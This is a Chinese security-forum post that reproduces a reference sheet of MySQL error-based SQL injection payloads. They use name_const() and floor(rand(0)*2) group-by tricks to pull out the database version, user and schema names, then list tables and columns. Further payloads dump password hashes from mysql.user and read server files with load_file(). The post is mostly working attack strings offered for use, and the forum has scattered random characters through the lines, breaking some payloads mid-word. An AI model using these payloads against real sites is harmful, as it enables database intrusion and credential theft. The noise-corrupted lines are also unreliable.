找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2379|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
2 K! M( @7 {8 q( N9 F$ F2 M1 G
" w8 }3 D+ c8 D: ^+ L# d% j3 L( W" H! M
Mysql暴错注入参考(pdf),每天一贴。。。
# Z! z8 v7 G0 p/ q+ C6 F8 ?: @  j% k" X
MySql Error Based Injection Reference
( H. c2 Z, t7 }/ v[Mysql暴错注入参考]
4 d' [0 M9 L8 R3 C: bAuthornig0s1992
+ u6 P+ B1 n) x/ X) ]' F1 mBlog:http://pnig0s1992.blog.51cto.com/
& A3 }& O3 g7 l; I* q0 ?2 GTeAm:http://www.FreeBuf.com/& T6 J- e0 R8 s. K6 N2 u2 H
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
9 k, Q& X- }  {9 d& i小部分版本使用name_const()时会报错.可以用给出的Method.2测试
6 Z; g! Y( n# i. i0 x) M" S, ~2 [查询版本:
  {- o5 d* p" lMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
8 r2 I' Y+ u; O- Cjoin+(select+name_const(@@version,0))b)c)
9 e* n0 f( i% T. o+ O$ jMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
7 [$ n! {) T" U  xup by a)b)
/ L' q+ r( e) o8 p/ Q查询当前用户:. V# j, O" M/ X, {. o+ H* n" F
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
& _% ]) B- c3 t$ l; Y$ J+ zMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
2 {# a% M1 T1 @* ?and(0)*2))x+from+information_schema.tables+group+by+x)a)
. U* C0 C; a4 F% B6 A8 q4 `查询当前数据库:
, G" O4 R- R  Y- A$ XMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
9 H1 Y, M8 j0 GMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
, t; t$ `% d0 J3 f! B3 o8 x# zor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)1 M5 C4 z" D6 L7 R
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
: D5 B& m& y! v' P" e5 a; ]* {LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n$ ^% x+ e' m$ ~) b
顺序替换, |4 S1 B4 a/ e& N% p3 d- l8 q
爆指定库数目:
" _* x  z. o; t8 Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
* {1 B7 p' _( @' d3 J4 ~( g8 Oable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group, l( k( |5 w3 p) r
+by+x)a)+and+1=1 0x6D7973716C=mysql' a2 x$ P% K/ Z: G
依次爆表:" l8 M7 U$ Y' }5 C9 A3 v7 Y
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
4 c# N# H$ `+ X5 a7 ?able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
& Q7 t7 |6 y2 Sbles+group+by+x)a)+and+1=19 p; M2 p5 j- }+ Z. a
0x6D7973716C=Mysql 将n顺序替换: z: Z) m. y( S
爆表内字段数目:3 c( u* u$ K, k- I, C# ^
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE: B/ ]( T- f" d0 y4 u# p
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran0 |) q; K; e7 B" J" @
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
  ?! N& r6 j# Z- u* }依次爆字段:8 e# t+ e; {) d6 @9 j+ a
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
0 d( W, z, P( Q1 v/ U: @+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1' B! Q- k& E2 u/ D3 k2 d& J
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
, u" V4 _3 l& e. B2 Z& S依次暴内容:
" V) g! h* N) e/ b( u% _* r! v: Tand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche' [, s3 @* b, H" {- `4 M+ B4 e
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
# r# }2 A$ u" r4 g" s! E将n顺序替换+ ]5 J2 s3 g% ?4 b1 d1 N4 p
爆文件内容:; @8 ]% n) p3 F* w. p5 |- z& I0 g4 O
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
9 h. _! A2 t9 t: U, v  l2 }' i. mfrom+information_schema.tables+group+by+a)b)
" V+ T5 w+ |; C" p: V6 l7 @6 d0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节5 W' X9 t0 U' Q' r- V( Q- v
Thx for reading.
  G0 P9 S) X2 `. u! b) V: r+ _: d
# B! w( C6 F5 v  D9 p/ t8 A不要下载也可以, - c3 B: X8 f; a. c7 h

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表